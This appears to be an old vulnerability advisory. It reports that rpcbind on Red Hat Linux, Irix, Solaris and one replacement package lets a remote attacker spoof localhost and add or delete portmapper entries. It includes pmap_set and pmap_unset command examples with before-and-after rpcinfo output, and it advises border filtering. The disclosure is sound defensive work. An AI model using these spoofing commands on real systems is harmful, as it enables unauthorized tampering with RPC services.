Re-announced by: Martin Rosa, mrosa@pgci.ca 
Authored by: Patrick Gilbert, gilbert@pgci.ca 

The vulnerable versions of rpcbind are contained in: 

    Linux (Redhat) 
    Irix 6.2 
    Wietse's rpcbind 2.1 replacement (Wietse's warns the use of proper filtering to be used with his
    package, although we are sure he didn't intend for anyone to be able to trivially remove/add
    entries) 
    Solaris 2.6 (you can only add and delete services inserted remotely) 
    Other version have yet to be tested. 

The versions of rpcbind that are NOT vulnerable are contained in: 

    Openbsd (confirmed by deraadt@cvs.openbsd.org) 

The preface: 

Rpcbind is a server that converts RPC program  numbers  into universal
addresses. It must be running as root on the host to be able to make RPC
calls on a server on that machine.

When an RPC service is started, it tells rpcbind the address at  which it is
listening, and the RPC program numbers it is prepared to serve.  When a
client wishes to make an RPC call to a given program number, it first
contacts rpcbind on the server machine to determine the address where RPC
requests should be sent.

The problem: 

The problem seems to have sticken around for 2 years now. The vulnerability
has been stated before. Yet, some vendors still have not come up with a
sound solution. Rpcbind permits a remote attacker to insert and delete
entries without superuser status by spoofing a source address. Ironically,
it inserts the entries as being owned by superuser. Consequences are
terrible, to say the least. Tests were conducted with the pmap_tools
available at the end of this advisory.

Example usage: 
 * pmap_set 127.0.0.1 1.1.1.1 100005 1 udp 666 
 * 
 * This would add to portmapper's list mountd (100005) version 1 on udp 
 * port 666. 
 * 
 * Instead of 127.0.0.1, you could also use 1.1.1.1.  It depends on filters 
 * installed on your target's network. 

$ rpcinfo 
    program version netid address service owner 
    100000 4 ticots pgci.ca.rpc rpcbind superuser 
    100000 3 ticots pgci.ca.rpc rpcbind superuser 
    100000 4 ticotsord pgci.ca.rpc rpcbind superuser 
    100000 3 ticotsord pgci.ca.rpc rpcbind superuser 
    100000 4 ticlts pgci.ca.rpc rpcbind superuser 
    100000 3 ticlts pgci.ca.rpc rpcbind superuser 
    100000 4 tcp 0.0.0.0.0.111 rpcbind superuser 
    100000 3 tcp 0.0.0.0.0.111 rpcbind superuser 
    100000 2 tcp 0.0.0.0.0.111 rpcbind superuser 
    100000 4 udp 0.0.0.0.0.111 rpcbind superuser 
    100000 3 udp 0.0.0.0.0.111 rpcbind superuser 
    100000 2 udp 0.0.0.0.0.111 rpcbind superuser 
    100005 1 udp 0.0.0.0.2.154 mountd superuser 

For test purposes, the 100005 entry is deleted, as well as the following entry 

100000 4 tcp 0.0.0.0.0.111 rpcbind superuser 

Example usage: 
 * pmap_unset 127.0.0.1 1.1.1.1 100005 1 
 * 
 * This would remove mountd (100005) entry from portmapper's list. 
 * 

The result, much to our surprise, was positive. Both entries have been remotely deleted by an
unauthorized third party. 

$ rpcinfo 
   program version netid address service owner 
    100000 4 ticots pgci.ca.rpc rpcbind superuser 
    100000 3 ticots pgci.ca.rpc rpcbind superuser 
    100000 4 ticotsord pgci.ca.rpc rpcbind superuser 
    100000 3 ticotsord pgci.ca.rpc rpcbind superuser 
    100000 4 ticlts pgci.ca.rpc rpcbind superuser 
    100000 3 ticlts pgci.ca.rpc rpcbind superuser 
    100000 3 tcp 0.0.0.0.0.111 rpcbind superuser 
    100000 2 tcp 0.0.0.0.0.111 rpcbind superuser 
    100000 3 udp 0.0.0.0.0.111 rpcbind superuser 
    100000 2 udp 0.0.0.0.0.111 rpcbind superuser 

The solution: 

Make sure you filter 127.0.0.1 aand localnets at your border router. Bad
router hygiene will lead to problems. If the problem persists, contact your
local vendor for an rpcbind replacement or update.

